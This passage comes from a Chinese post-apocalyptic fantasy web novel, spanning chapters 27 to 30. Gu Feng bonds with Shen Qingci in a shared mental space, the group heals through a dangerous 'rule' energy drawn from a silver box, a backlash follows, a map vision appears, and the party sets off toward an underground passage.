这一次,没有燃血的灼痛,没有影蚀的冰冷撕扯,也没有濒死的坠落感。 顾风的意识,漂浮在一片温暖、宁静、如同羊水般的微光里。光没有来源,温柔地包裹着他残破的灵魂,修复着那些看不见的裂痕。痛苦并未消失,但被隔绝在了一层柔软的屏障之外,变得遥远而模糊。 在这片光之海的中心,他“看”到了一个身影。 沈青瓷。 不再是维生舱中苍白脆弱的沉睡者,而是以一种更加……“完整”的姿态出现。她穿着一袭简单的白色衣裙(像是旧时代常见的连衣裙),黑色的长发柔顺地披散在肩头,赤足悬浮在微光中。她的面容依旧清丽,却少了几分病态的苍白,多了些许血色。最重要的是她的眼睛——那双曾倒映着破碎光影、充满痛苦的眼眸,此刻清澈而宁静,正静静地凝望着他。 这里不是现实。顾风立刻明白了。是他的意识深处?还是沈青瓷用她的“灵觉”能力构筑的某种精神空间? “这里……是我的‘心渊’边缘。”沈青瓷开口了,声音不是通过空气传播,而是直接响彻在这片意识空间,清澈而柔和,带着一丝久未使用的生涩。“我用清心珠最后的力量,还有……我们之间的链接,把你的意识核心拉进来了。你的身体伤得太重,外面……也太危险。” 顾风试图移动,却发现自己也只是这片空间里的一个光影轮廓,比沈青瓷的形体更加模糊、不稳定。“青瓷……你还好吗?林岚他们呢?外面……” “林岚姐和雷烬队长带着我们……逃出来了。”沈青瓷轻声回答,眼神中流露出一丝复杂的情绪,有关切,有后怕,也有淡淡的感激,“从那个舱门上去,是一个更大的、废弃的旧仓库,暂时安全。他们正在照顾你的身体,还有那个叫小豆的孩子。我……我暂时用灵觉屏蔽了这个角落的气息,但支撑不了太久。” 她顿了顿,目光低垂:“对不起……是我太没用了。在那个转运站,我感应到了上面的危险,也感应到了那个盒子里的……东西。但我没能给你更多预警,也帮不上忙,最后还要你……” “不。”顾风打断她,他的意识体向前“飘”近了一些,“你提醒了我上面的动静,这就够了。而且,如果不是你之前传递过来的那些记忆碎片,我们可能连门都打不开,更谈不上后来的事情。你做得很好。” 他的话语发自内心。在这个冰冷残酷的末世,沈青瓷这份脆弱却坚韧的力量,以及她毫无保留的信任,是无比珍贵的东西。 沈青瓷抬起眼,看着近在咫尺的、顾风模糊却温暖的光影轮廓,苍白的脸颊上似乎泛起了一抹极淡的红晕。在这绝对私密、绝对坦诚的精神链接深处,任何情绪都无所遁形。她能感受到顾风话语中的真诚、保护欲,以及那份深藏的、因她而起的责任感。这让她冰冷了太久的心灵,泛起一丝陌生的暖流。 “那个银色的盒子……”顾风想起昏迷前惊鸿一瞥的温润流光,“你知道里面是什么吗?” 沈青瓷的眉头微微蹙起,似乎努力感应着什么。“很模糊……但那种波动……非常特别。不完全是‘灵能’,更像是一种……‘规则’的碎片,或者……高度浓缩的‘源场’印记。它对精神力的吸引力很强,我在昏迷中都能隐约感觉到。林岚姐说,那个盒子被雷烬队长在混乱中冒险捡回来了,但不敢轻易打开,怕引发不可控的波动。” 乙级?甚至可能是传说中的甲级灵珠?顾风心头震动。如果真是那样,或许不仅能治疗他们的伤势,甚至可能…… “你的身体,还有我的问题……或许能从那颗灵珠里找到办法。”沈青瓷说出了顾风心中所想,但随即眼神黯淡,“但风险太大了。我父亲笔记里提到过,高阶灵珠蕴含的不仅仅是能量,还有其形成环境特有的‘规则信息’,强行吸收或使用不当,可能会被‘规则’同化或反噬。” 两人(的意识)陷入了短暂的沉默。微光静静流淌,修复着顾风灵魂的疲惫,也让这份在绝境中滋生的、超越寻常的亲近感悄然生长。 “能……跟我说说以前的事吗?”顾风忽然开口,目光柔和地看着沈青瓷,“在你父亲把你藏起来之前。如果……你愿意的话。” 沈青瓷的身体几不可察地颤抖了一下。那些记忆对她而言,大多是痛苦和恐惧的源泉。但面对顾风——这个与她有着类似“污染”烙印、并肩作战、甚至在此刻灵魂相依的男人——她内心深处那厚重的冰壳,似乎裂开了一道缝隙。 她缓缓地,断断续续地开始诉说。不再是之前那种破碎画面的冲击,而是带着忧伤的、平和的叙述。 她讲述自己曾是“绿洲”生态心理学研究组的志愿者,因为天生对他人情绪和微弱能量场敏感而被选拔。起初,一切都是为了建设更好的避难所。但后来,项目方向变了,出现了“摇篮”合作项目,他们这些敏感者被要求接触一些“特殊场域样本”(影源)。她描述了第一次“接触”时的震撼与恐惧,那些无尽黑暗中的低语和破碎的意志。她讲述了自己能力因此暴涨却失控的过程,如何听到亡者的哀嚎,看到影子中的异动,精神世界逐渐被污染、崩解。她也提到了父亲沈墨的挣扎、保护,以及最后绝望的藏匿。 “他以为把我藏起来,切断与‘摇篮’的联系,我就能慢慢恢复,或者至少……安睡到一切结束。”沈青瓷的声音带着哽咽,“但他不知道,那种‘连接’一旦建立,就像刻在灵魂里的伤疤,无法真正切断。我只能靠深度休眠和药物来麻痹它,但每次被外界同源力量刺激(比如你的影子,比如那个原型体),它就会苏醒、疼痛。” 顾风静静地听着,感同身受的痛楚在意识中蔓延。他的影蚀是外来的侵蚀,而沈青瓷的“灵觉”却是自身能力被污染异化,某种意义上,她的痛苦更加内在和绝望。 “我们……都是被那个黑暗时代选中的‘样本’。”顾风低声说,意识体伸出手,轻轻触碰沈青瓷光影的肩膀位置——一个纯粹精神上的、安慰的姿态。 沈青瓷抬起头,眼中含着晶莹的光点(精神空间的映射),却没有落下。“但是……遇见你们,尤其是你,顾风。我感觉……好像不那么孤独了。你的影子里,虽然有冰冷和混乱,但也有一种……挣扎着想要掌控自己命运的热度。它让我觉得,或许我们这样的‘瑕疵品’,也未必只能走向湮灭。” 她的目光直视着顾风,清澈的眼底倒映着他的光影,带着一种前所未有的专注和一丝怯生生的依赖。“在你为了保护大家,引燃那颗危险灵珠的时候,在我父亲留下的维生舱被激活的时候……我都能感觉到,你灵魂里有一种光,一种不肯屈服的光。它……很温暖。” 顾风愣住了。他从未想过,自己这份被债务、绝望和诡异力量缠绕的人生,在他人眼中,尤其是沈青瓷这样特殊的观察者眼中,竟然还能看到“光”和“温暖”。 一种奇异的悸动,在这纯粹的精神链接中荡漾开来。没有□□的接触,却比任何肢体语言都更加直抵心灵。他们能清晰地感 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顾风感觉到一股轻柔但不容抗拒的推力,正在将他推出这片心灵空间。 “青瓷,保重。等我醒来。”顾风最后传递过去一道坚定的意念。 “我等你。”沈青瓷的身影逐渐淡去,唯有那温柔的声音和清澈眼眸中的信任,深深印入顾风的意识。 温暖的光海褪去,取而代之的是熟悉的、尖锐的**疼痛**和沉重的**疲惫感**,如同潮水般从四肢百骸涌来。 顾风猛地睁开了眼睛。 现实世界的景象映入眼帘:低矮的、布满灰尘和蛛网的金属天花板,空气中弥漫着更浓重的机油和尘土味,但温度比地下转运站要低一些,有微弱的自然光线从某个高处的缝隙透入。 他躺在一堆垫高的破布和软垫上,身上盖着保温毯。稍微转动眼球,看到了旁边守着、脸上带着疲惫却惊喜的林岚,以及靠在不远处一堆木箱上、正警惕望着某个方向的雷烬。小豆躺在另一边,依旧沉睡,但呼吸平稳。维生舱静静立在角落,屏幕显示着稳定的浅绿色。 他们在一个新的、相对开阔的废弃仓库里。暂时安全。 “你醒了!”林岚压低声音,难掩喜色,立刻凑过来检查他的脉搏和瞳孔,“感觉怎么样?别急着动,你伤得非常重,燃血珠的反噬加上之前的透支,能活下来简直是奇迹……多亏了青瓷,她说她用灵觉暂时稳住了你的意识核心。” 顾风想说话,喉咙干裂,只能发出气音。 林岚会意,小心地喂他喝了些水,水里似乎加了研磨过的草药粉末,带着淡淡的苦涩和清凉。 “我们逃出来了,从那个舱门。”雷烬的声音传来,他转过头,脸上带着劫后余生的凝重,“上面是个废弃的旧工业仓库,看起来是‘绿洲’项目地面配套设施的一部分,荒废了很久,暂时没发现其他活物。但不敢保证绝对安全。” 他顿了顿,目光看向仓库深处一个被帆布半遮着的操作台。“那个银色的盒子,我带出来了。就在那边。” 顾风顺着他的目光看去,心脏不由自主地加快了跳动。那个流转着内敛光泽的银盒,正静静地放在操作台上,在昏暗的光线下,散发着无声的诱惑与危险。 短暂的、心灵相契的舒缓时光结束了。现实的压力和未来的抉择,伴随着身体的剧痛和银盒的秘密,再次沉重地压了下来。 但这一次,顾风的心中,除了沉重,还多了一缕源自心灵深处的微光,和一份必须履行的承诺。 28. 逆熵之辉 现实世界的冰冷与痛楚,远比精神空间里模拟的要尖锐和沉重。顾风躺在破布垫上,每一次呼吸都牵扯着胸腔深处火辣辣的疼痛,经脉像是被烧融后又强行粘合的玻璃器皿,布满了看不见的裂痕。林岚喂下的草药水带来了一丝清凉,但只是杯水车薪。 他的目光,越过林岚担忧的脸庞,牢牢锁定在操作台上那个银色的盒子。盒子在仓库高处缝隙透下的微尘光柱中,依旧流转着内敛而神秘的哑光,仿佛一块凝固的夜色,却又在深处蕴藏着难以言喻的生机。 “我们检查过了,”雷烬的声音带着疲惫的沙哑,他慢慢挪过来,靠在顾风旁边的木箱上,“盒子没有锁,但结合得非常紧密,几乎没有缝隙。表面材质……不是已知的金属,也不像陶瓷。它隔绝了一切能量探测,连青瓷的灵觉都无法穿透。唯一的线索,是盒子底部,有一个非常淡的、几乎磨平的刻痕。” 他示意林岚。林岚小心地将银盒翻转,借着光线,顾风看到盒底确实有一个极其细微、需要特定角度才能察觉的刻痕——那是一个极其简化的、仿佛由三道交织的螺旋光线构成的符号,中心有一个微小的点。 “这个符号,在沈墨笔记关于‘源场理论’的猜想部分出现过,”林岚低声说,拿出那个便携读取器,调出一张模糊的手绘图片,“沈墨标注为‘逆熵聚合猜想图示’,旁边写着:‘若‘源场’存在自组织逆熵节点,其核心表征或为此类拓扑符号,象征能量从混沌向有序的强制收敛,蕴含极高阶规则信息与潜在危险性。’” 逆熵聚合?强制收敛?顾风咀嚼着这些艰深的词语。结合沈青瓷在精神空间里的感知——规则碎片,高度浓缩的源场印记——这个银色盒子里封存的,恐怕是一颗性质极其特殊的灵珠。它可能不是用来“吸收能量”那么简单,而是蕴含着某种“秩序”或“规则”的力量。 “打开它,风险未知。但我们现在的情况……”雷烬的目光扫过重伤的顾风,维生舱里需要持续稳定、自身也虚弱的沈青瓷,以及尚未苏醒的小豆,“普通的治疗珠和蓄能珠效果有限。我们需要一种……能够从根本上修复损伤、甚至扭转恶劣状态的东西。这个盒子里的,可能是我们唯一的希望,也可能是加速毁灭的开关。” 抉择,再一次摆在面前。 “我的影蚀,还有青瓷的灵觉,都对这个盒子有感应。”顾风的声音虚弱但清晰,“或许……我和她,是‘打开’或者‘使用’它的关键。我们体内有同源的‘污染’,可能更容易理解或承受其中的规则信息。” “太冒险了!”林岚立刻反对,“你和青瓷的状态都极不稳定,再接触这种未知的高阶能量源,后果不堪设想!尤其是你,顾风,你的身体根本承受不住再一次的能量冲击!” “林岚说得对。”雷烬眉头紧锁,“但我们也耗不起时间。这个地方虽然暂时隐蔽,但爆炸、枪战、岩蜥的动静,可能已经引起了其他东西的注意。我们的灵珠储备也快见底了。必须尽快做出决定,并恢复一定的行动能力。” 沉默再次降临,只有仓库外偶尔传来的、不知是风声还是什么生物掠过的细微呜咽。 就在这时,维生舱的方向传来一声极其轻微的蜂鸣。屏幕上的浅绿色指标微微闪烁,沈青瓷的脑波图谱出现了一丝主动的、规律的波动。 紧接着,顾风的脑海中,响起了沈青瓷清晰而坚定的意念,比在精神空间里更加直接,似乎因为她主动调动了力量而显得有些吃力: 【顾风,雷队长,林岚姐……我能‘听’到这个盒子里的‘声音’了,很微弱,但它在……呼唤同频的‘弦’。不是恶意的呼唤,更像是一种……等待被‘理解’和‘引导’的状态。它蕴含的规则,偏向‘修复’、‘稳定’和‘秩序重建’,但非常霸道,需要强大的‘锚点’来承载和疏导。】 她停顿了一下,传递过来的意念带着一丝决绝:【如果……如果由我和顾风一起,以我们的链接为桥梁,或许可以尝试‘引导’出一部分最温和的规则力量,先治疗最紧急的伤势。这比直接打开盒子、面对完整能量冲击要可控一些。】 以他们的链接为桥梁?引导部分规则力量? 这个提议比直接打开盒子似乎多了些可控性,但风险依然巨大。他们的链接本就脆弱,沈青瓷的精神状态更是如履薄冰。一旦引导过程中出现任何差池,反噬可能同时摧毁两人。 顾风看向雷烬和林岚。雷烬的眼中闪烁着挣扎,最终化为一种沉重的决断。林岚咬着嘴唇,眼神在顾风和维生舱之间来回移动,充满了不忍,但也知道这是目前看起来唯一可能破局的办法。 “需要怎么做?”顾风直接问沈青瓷,同时也下定了决心。 【需要你尽可能靠近盒子,我会在维生舱内将灵觉聚焦,通过链接投射过来,我们一起‘接触’盒子的能量外壳,寻找共鸣点,然后……像疏通淤塞的管道一样,引导出一缕规则信息流。目标……优先修复你的经脉和内伤,以及雷烬队长的旧伤根基。这需要你承受主要的能量通过,也需要我维持链接的稳定和疏导。】 “好。”顾风没有任何犹豫,“队长,林岚,你们负责警戒,一旦出现意外……” “我们明白。”雷烬重重点头,握紧了拐杖,眼神锐利地扫视仓库入口和各个阴影角落。林岚则将剩余的最后一颗绿色治疗珠和两颗深蓝色蓄能珠放在手边,以备不时之需,同时将小豆转移到更远的角落。 顾风在林岚的搀扶下,艰难地坐起身,挪到操作台前,面对着那个银色的盒子。他伸出手,掌心向下,悬停在盒子上方寸许。体内的影蚀能量因为靠近盒子而微微躁动,那点暗红的余烬闪烁着。 维生舱内,沈青瓷闭上了眼睛,全身心投入。紫色调和珠的光芒被她有意识地引导,与清心珠残留的宁静力量结合,构筑起一层更坚固的精神防线。然后,她将自己那独特而敏感的“灵觉”如同最纤细的探针,通过两人之间那条银色的链接,小心翼翼地向顾风延伸,再透过顾风的身体和意识,缓缓“触碰”向银色盒子的表面。 接触的瞬间—— 顾风浑身剧震! 没有爆炸性的能量涌入,而是一种极其浩瀚、极其精微的“信息洪流”扑面而来!那不是图像或声音,而是直接作用于感知层面的、关于“秩序”、“结构”、“修复”、“逆转损伤”的**概念性规则碎片**!仿佛一瞬间被塞进了一座关于生命与能量修复的庞大图书馆的所有目录索引! 与此同时,他体内的影蚀能量,与这浩瀚而有序的规则信息产生了激烈的**排斥与共振**!影蚀的本质偏向混沌、侵蚀、吞噬,而这股规则力量的核心却是收敛、修复、建立秩序。两者如同水火,在他体内激烈冲突! “呃啊——!”顾风忍不住发出一声痛苦的低吼,嘴角再次溢出鲜血。他的身体表面,血管开始不正常的凸起,颜色在青黑色(影蚀)和淡金色(规则信息流)之间变幻。 【坚持住!顾风!】沈青瓷的意念传来,带着焦急和不容置疑的引导,【不要抵抗!让你的影子……去‘适应’它!用你的意志作为‘锚点’,引导这股规则力量流过你,去修复你最需要的地方!我来帮你疏导冲突的部分!】 顾风咬紧牙关,几乎将牙齿咬碎。他放弃了对影蚀的本能压制,也放弃了对涌入的规则信息的抗拒,而是将全部残存的意志力,凝聚成一个无比坚定的核心意念:**修复!引导!通过我!** 这是一个极其危险的举动,等于是将自己的身体和灵魂完全开放,作为两股高层次力量的通道和战场。 在沈青瓷精细的灵觉疏导下,那浩瀚规则信息流中,一丝极其微细、相对温和的“修复规则”,被筛选、剥离出来,如同金色的涓涓细流,开始顺着顾风指定的路径——那些破损最严重的经脉、被燃血能量烧灼的内脏、以及多处骨骼的细微裂痕——缓缓流淌而过。 所过之处,带来的是难以言喻的麻痒、刺痛,以及……**新生**的感觉! 破损的经脉像是被无形的巧手编织、接续 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时间在极度的痛苦与缓慢的修复中流逝。顾风的意识在剧痛和浩瀚信息流的冲刷下几度濒临涣散,全靠沈青瓷通过链接不断传来的清凉意念和鼓励支撑着。 【就快好了……顾风,坚持……你很棒……】沈青瓷的意念也带着颤抖,维持这种高精度引导对她同样是巨大消耗,维生舱的稳定读数再次开始波动。 就在顾风体内主要经脉被修复了大约三分之一,雷烬旧伤被驱散了十分之一左右时,异变陡生! 银色盒子本身,似乎因为被引导出了部分规则力量,其内部平衡被微微打破!盒子表面,那三道螺旋光线构成的符号,骤然亮起! 一股比之前引导出的涓涓细流庞大、精纯、霸道无数倍的**完整规则信息**,如同沉睡的巨龙被惊动,就要顺着沈青瓷和顾风建立的链接通道,**反冲**回来! “不好!快断开!”林岚一直紧张地监控着,看到盒子异变和顾风、沈青瓷同时剧烈颤抖、脸色瞬间惨白,失声尖叫! 但已经来不及了!那股完整的规则力量速度太快,太强! 就在这千钧一发之际,顾风体内那一直被压制、躁动不安的影蚀能量,连同那点暗红余烬,仿佛被这致命的威胁彻底激怒,或者说,激发了最深层的、源自“原型体”或“影源”的某种**防御或吞噬本能**! “轰——!” 顾风的影子,毫无征兆地、前所未有地**实质化**爆发了! 不再是雾气或薄幕,而是如同泼洒的浓墨,瞬间将他整个人连同面前的银色盒子一起笼罩!浓墨般的影子疯狂旋转,形成了一个小型的、漆黑的漩涡,漩涡中心,那点暗红余烬炽烈燃烧! 那反冲而来的完整规则信息流,一头撞进了这突然出现的影蚀漩涡之中! 没有惊天动地的爆炸。只有一种令人灵魂冻结的、仿佛两个不同世界规则相互摩擦湮灭的**无声轰鸣**,在意识层面炸响! “噗——!”顾风和沈青瓷同时狂喷鲜血!顾风仰面倒下,七窍都渗出血丝,直接昏死过去,笼罩他的影子漩涡瞬间崩溃、缩回,颜色变得极其暗淡,几乎透明。沈青瓷所在的维生舱警报声尖锐长鸣,屏幕上一片红色乱码,她自己也彻底失去了意识,生命指标急剧下跌! 银色盒子上的光芒黯淡下去,恢复了原状,仿佛什么都没有发生过。但盒体表面,似乎多了一丝极其细微的、如同发丝般的裂痕。 “顾风!青瓷!”林岚和雷烬目眦欲裂,扑了上去。 仓库内,一片死寂。只有警报声在回荡。 而在顾风彻底失去意识的灵魂深处,在那片因剧烈冲击而濒临破碎的感知边缘,一个冰冷的、漠然的、仿佛隔着无尽距离的意念,极其轻微地“拨动”了一下,如同确认了什么。 **【样本-影/回响者-09,接触‘逆熵编码’碎片,引发规则层面低烈度湮灭反应……数据已记录。扰动系数提升。观察优先级上调。】** 29. 沉疴新芽 黑暗。寂静。 但并非虚无。 顾风的意识如同一粒沉入深海的微尘,在绝对的疲惫和创伤中缓慢下沉。没有梦,没有幻象,只有无边无际的钝痛和沉重的倦怠感,仿佛连“思考”这个动作本身都耗尽了所有力气。 然而,在这片意识深海的最底部,并非完全的死寂。 一丝极其微弱、却无比坚韧的**暖意**,如同深埋地壳之下的岩浆暗流,在他灵魂最核心处,极其缓慢地脉动着。这暖意不同于燃血珠的暴烈,也不同于淡金色灵珠的温和滋养,它更加……**有序**,更加**稳固**,仿佛遵循着某种先天而成的内在韵律。暖意所及之处,那些濒临破碎的意识碎片,被一种无形的力量柔和地聚拢、粘合。 与此同时,另一种更加熟悉、也更加冰冷的**存在感**,如同盘踞在巢穴中舔舐伤口的野兽,蛰伏在暖意光芒照不到的更深阴影里。它虚弱、暗淡,却并未消失。那点暗红的余烬已经熄灭,但影子本身与他的连接,却在这次与规则力量的激烈碰撞后,变得更加……**紧密而怪异**。不再仅仅是侵蚀与被侵蚀,更像是一种经历了生死考验后,被迫形成的、更加本质的**共生**。他能模糊感觉到影子传来的不再是单纯的冰冷饥饿,还有一种同样疲惫、甚至带着一丝茫然的本能反馈。 时间失去了意义。 直到一缕**极其清凉、带着焦急和呼唤意味的波动**,如同投入深海的石子,打破了这片凝滞的黑暗。 是沈青瓷。 她的意念比之前任何时候都要微弱,仿佛风中残烛,却带着不顾一切的执着,不断轻触着他沉寂的意识边缘。 【顾风……醒醒……不能睡……外面……危险……】 危险? 这个词如同冰冷的针刺,瞬间刺破了厚重的疲惫。 顾风的意识猛地一颤,如同溺水者浮出水面,开始剧烈挣扎着向上攀升! 痛!难以形容的痛楚瞬间从四肢百骸传来,比昏迷前更加清晰、更加立体!但他的意识,却被这股剧痛和沈青瓷的呼唤,硬生生拽回了现实! “咳!咳咳咳——!” 剧烈的咳嗽伴随着铁锈味的血腥气,顾风猛地侧过头,吐出几口淤黑的粘稠血块。每一次咳嗽都牵扯着胸腔和腹腔火辣辣的疼痛,但奇怪的是,这种痛楚中,又带着一种……**新生组织正在顽强生长的酸胀感**。 他艰难地睁开沉重的眼皮。 视线模糊,逐渐聚焦。首先映入眼帘的,是林岚布满血丝、写满疲惫与惊喜的眼睛。 “顾风!你醒了!别动!千万别动!”林岚的声音沙哑得厉害,她立刻用一块相对干净的湿布轻轻擦拭他嘴角的血迹,动作小心翼翼,“你昏迷了差不多一整天。感觉怎么样?哪里最痛?” 顾风尝试感知自己的身体。痛,无处不在。但正如刚才所感,除了痛,还有一种奇异的“修复感”。他尝试动了动手指,能感觉到明显的阻涩和疼痛,但确实能动了。他内视自身,惊讶地发现,之前引导规则力量修复的那些主要经脉,虽然依旧红肿脆弱,但结构竟然真的被强行接续、稳固了下来,表面流转着一层极其淡薄、几乎无法察觉的金色微光。内脏的灼伤似乎被某种力量强行“安抚”了,虽然功能远未恢复,但至少不再持续恶化。最神奇的是骨骼,那些细微裂痕处,有一种酥麻的痒意,仿佛正在被缓慢地重新浇筑。 规则力量的治疗……竟然真的有效?尽管过程惨烈,代价巨大。 “青瓷……她怎么样?”顾风的声音嘶哑破碎,几乎难以辨认。 林岚的眼神瞬间黯淡下去,充满了担忧。“她……很不好。比你还糟。维生舱的稳定系统差点崩溃,紫色灵珠能量消耗巨大,现在只能勉强维持她的生命体征在最低水平。她的意识……好像陷入了更深层的自我保护性封闭,我只能偶尔捕捉到一丝极其微弱的波动。” 顾风的心猛地一沉。沈青瓷本身精神结构就脆弱,这次强行引导并遭受规则反冲,对她的伤害恐怕是毁灭性的。 “那个盒子呢?” 林岚指了指操作台。银色的盒子依旧在那里,但表面那道发丝般的裂痕清晰可见。裂痕处,不再有内敛的光泽,反而隐隐透出一种不祥的、仿佛能量泄漏后的**灰败感**。 “盒子……好像‘死了’。”雷烬的声音从旁边传来。他拄着拐杖慢慢走近,脸色依旧苍白,但眼神比之前明亮了一些,少了些长期被旧伤折磨的阴郁。“自从你们出事,它就再没有任何能量波动。林岚检查过,裂痕内部的结构似乎被破坏了,原本可能存在的灵珠……要么消散了,要么……变成了别的东西。” 顾风顺着他的目光看去,心中涌起复杂的情绪。他们拼上性命,几乎团灭,换来的却似乎是一场空?不,至少他的身体得到了部分修复,雷烬的旧伤也似乎被驱散了一丝……但这代价,太大了。 “还有……”雷烬的脸色变得极其凝重,他压低声音,“就在你们昏迷后不久,仓库外面……有东西来过。不是人,也不是岩蜥。是某种……更安静,但感觉更危险的东西。它在仓库周围徘徊了很久,好像在寻找什么,最后又离开了。我和林岚当时大气都不敢出。” 顾风立刻想到了那个天级魔修冰冷的注视。是它吗?还是它派来的什么东西?优先级上调后的直接观察? 一股寒意顺着脊椎爬升。 他们现在的状态,别说天级魔修,就是再来几个血瞳商团那样的杂鱼,也足以让他们全军覆没。 “我们必须立刻离开这里。”顾风挣扎着想坐起来,却被林岚死死按住。 “不行!你的身体根本不能移动!”林岚急道,“而且,我们能去哪?外面情况不明,我们连这里具体是哪儿都不知道!” “那个盒子……”一直昏迷的小豆,忽然发出了一声极其微弱、含混不清的呓语。 三人的目光瞬间集中到角落里的少年身上。 小豆依旧闭着眼睛,眉头紧锁,似乎在梦中挣扎。他的嘴唇轻微开合,断断续续地说着: “盒子……不是死的……是‘睡着’了……它在等……等‘钥匙’……” “地图……在盒子里……去‘下面’的路……” “好多人……在打架……抢珠子……红色的眼睛……和……狼……” “不能……被找到……快走……” 说完这些,小豆又陷入了更深的昏睡,呼吸却比之前更加平稳,甚至脸上恢复了一丝血色。清心珠的持续作用,加上他本身似乎拥有某种特殊的感应能力,让他在昏迷中被动接收到了周围环境的信息碎片? “钥匙?地图?下面?”林岚快速解读着这些词语,“难道银色盒子本身不是灵珠容器,而是一个……信息存储装置?或者,需要特定条件(钥匙)才能激活其中的地图?地图指向‘下面’……深潜通道?” 雷烬看向那个灰败的银盒,眼神锐利:“如果盒子里藏着地图,那所谓的‘钥匙’会是什么?是我们触发了盒子的防御机制,才导致它‘沉睡’和出现裂痕?” 顾风忍着剧痛,努力思考。小豆的呓语还提到了“好多人打架抢珠子”,对应了疤狼和血瞳商团。那么“红色的眼睛”是血瞳,“狼”是疤狼。这说明战斗的后续或影响可能还在发酵。 而“不能被发现,快走”——这很可能指的是天级魔修或其衍生物的威胁。 时间,真的不多了。 “林岚,”顾风深吸一口气,压下喉咙里的腥甜,“我的身体……大概需要多久才能勉强行动?不需要战斗,只要能走。” 林岚仔细检查了他的脉象和瞳孔,又看了看所剩无几的灵珠——主要是几颗深蓝色蓄能珠和最后一颗绿色治疗珠(效果有限)。她咬牙道:“如果你能完全配合,我用剩下的治疗珠和蓄能珠,加上一 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“至于‘钥匙’……”顾风的目光再次投向银色盒子,又看了看昏迷的沈青瓷,最后落在自己隐约透着淡金微光的掌心,“也许,我们刚才的‘接触’,本身就是一种‘验证’或‘激活’的一部分?盒子虽然看起来‘死了’,但裂痕已经出现。林岚,你能不能尝试,用最微弱的灵能或者……我的血(融合了规则信息和影蚀),去接触那道裂痕?不试图打开,只是……‘感应’一下,看看有没有地图信息的残留?” 这是一个更加冒险的提议。接触可能引发未知反应。 林岚看着顾风决绝的眼神,又看了看危在旦夕的沈青瓷和昏迷的小豆,最终,她点了点头。“我试试。用最细微的探针式灵能感应,结合你的……一滴血。队长,你准备好应对任何突发情况。” 雷烬握紧了拐杖,站到了仓库几个可能的威胁方向中间,如同即将迎接风暴的礁石。 林岚取出一根纤细的金属探针(从废弃工具里找到的),又小心地从顾风指尖取了一小滴血,混合在探针尖端。她深吸一口气,将全部注意力集中,操控着探针,以极其缓慢、轻微的动作,靠近银色盒子表面的那道裂痕。 探针尖端,混合着淡金色微光和一丝暗影气息的血珠,轻轻触碰到裂痕边缘。 起初,没有任何反应。 就在林岚准备放弃时—— 裂痕深处,那灰败的颜色中,忽然**极其微弱**地闪烁了一下! 不是光芒,而是一幅**极其复杂、瞬息万变的全息结构图**的残影,如同惊鸿一瞥,直接投射在林岚的视网膜和意识中!图像包含了他们所在的建筑结构、地下管网的走向、以及一条用刺目的红虚线标注的、蜿蜒向极深地下的路径!路径的终点,标记着一个不断旋转的、由光影构成的**双重螺旋符号**(与盒底的简化符号类似但更复杂)! 与此同时,一股微弱但清晰的方位感和距离感,伴随着几个关键的节点名称,烙印在林岚的脑海:【当前位置:γ区附属仓库A-7】→【路径节点:废弃主通风井下行】→【深层分流站】→【未完工的深层竖井“静默之眼”】→【目的地:深潜通道(未验证入口)】。 信息闪现的瞬间,银色盒子彻底化为了一捧暗淡的灰色粉末,簌簌落下,仿佛耗尽了最后一丝存在的意义。 林岚踉跄后退一步,脸色苍白,额头冷汗涔涔,但眼中闪烁着兴奋与骇然交织的光芒。 “地图……我看到了!去深潜通道的路线!还有关键节点!”她急促地说道,快速将脑海中的信息复述出来。 希望,伴随着这条指向更深处未知与危险的道路,再次于绝境中露出一线微光。 顾风躺在破布上,听着林岚的叙述,感受着身体内部缓慢滋生的、带着痛楚的微弱力量,看着维生舱里生死未卜的沈青瓷,又望向仓库外仿佛随时会吞噬进来的黑暗。 他们的逃亡远未结束,甚至可能正滑向一个更加深邃、更加可怕的漩涡。 但至少,他们有了一个方向。 一个可能蕴藏着终极答案,也可能通向彻底毁灭的方向。 “准备一下,”顾风的声音依旧虚弱,却带着不容置疑的力量,“等我能站起来,我们立刻出发。去‘下面’。” 30. 静默之眼 透支生命力的修复,如同在朽木上刷漆,光鲜之下是摇摇欲坠的本质。当顾风在林岚的搀扶下,终于颤抖着站直身体时,他感觉自己整个人都是由疼痛和虚浮拼凑而成的幻觉。每一次心跳都带着沉闷的回响,仿佛随时会震碎刚刚接续的脆弱经脉。视野边缘发黑,耳鸣不断,但他强行压下了所有不适,将全部意志集中在“站立”和“行走”这两件最简单也最艰难的事情上。 雷烬的状态相对好一些。规则力量驱散了部分旧伤沉疴,虽然远未痊愈,但至少那股如影随形的阴寒和虚弱感减轻了少许,让他能更稳定地握紧拐杖,承担起侦查和开路的责任。他仔细检查了东侧墙壁那扇被杂物半掩的维修小门——门是厚重的金属防火门,同样锈蚀严重,但门栓结构相对简单。他用找到的撬棍和管钳,配合林岚递过来的润滑剂(从废弃设备上收集的残油),花了近二十分钟,才在尽量减小噪音的情况下,将门栓一点点撬开。 门后是一条更加狭窄、低矮的通道,布满了灰尘和蛛网,显然是废弃已久的维修管道。空气不流通,带着浓重的霉味。通道向斜下方延伸,不知通向何处。这符合地图指示的“通往建筑其他部分”的路径。 “我先探路。”雷烬低声道,紧了紧手中的拐杖(尖端已被磨尖),矮身钻了进去。片刻后,他压低的声音传来:“安全,下来吧。小心脚下,很滑。” 接下来是艰难的转移。林岚和顾风先将依旧昏迷但状态相对稳定的小豆用保温毯裹好,由顾风(咬牙坚持)和林岚一起,小心地将他抬过门槛,送入通道。然后是沈青瓷的维生舱。这是最困难的部分。舱体沉重,通道狭窄,轮子无法使用。他们只能将维生舱尽量倾斜,雷烬在前用撬棍做杠杆撬动,林岚和顾风在后面拼尽全力推、抬,一寸一寸地将这个维系着沈青瓷生命的“茧”挪进通道。整个过程耗时耗力,每个人都汗流浃背,伤口崩裂,顾风更是几度眼前发黑,全靠意志强撑。 终于,所有人和物资都转移进了狭窄的维修通道。雷烬小心地将身后的防火门尽量恢复原状,挡住入口。 通道内没有光源,漆黑一片。林岚点燃了最后一根荧光棒,惨绿的光芒只能照亮前方几米。他们排成一列:雷烬打头,林岚紧随其后照看前方和搀扶顾风,顾风和小豆在中间,维生舱在最后(由顾风和雷烬用绳索临时牵引)。队伍以极其缓慢的速度,在湿滑、布满障碍的通道中,向着斜下方艰难行进。 地图信息在林岚脑海中清晰浮现。他们需要先通过这条维修通道,找到连接“废弃主通风井”的入口,然后下行至“深层分流站”,最后找到那个标记为“静默之眼”的未完工竖井,才能接近所谓的“深潜通道”入口。每一步都充满未知。 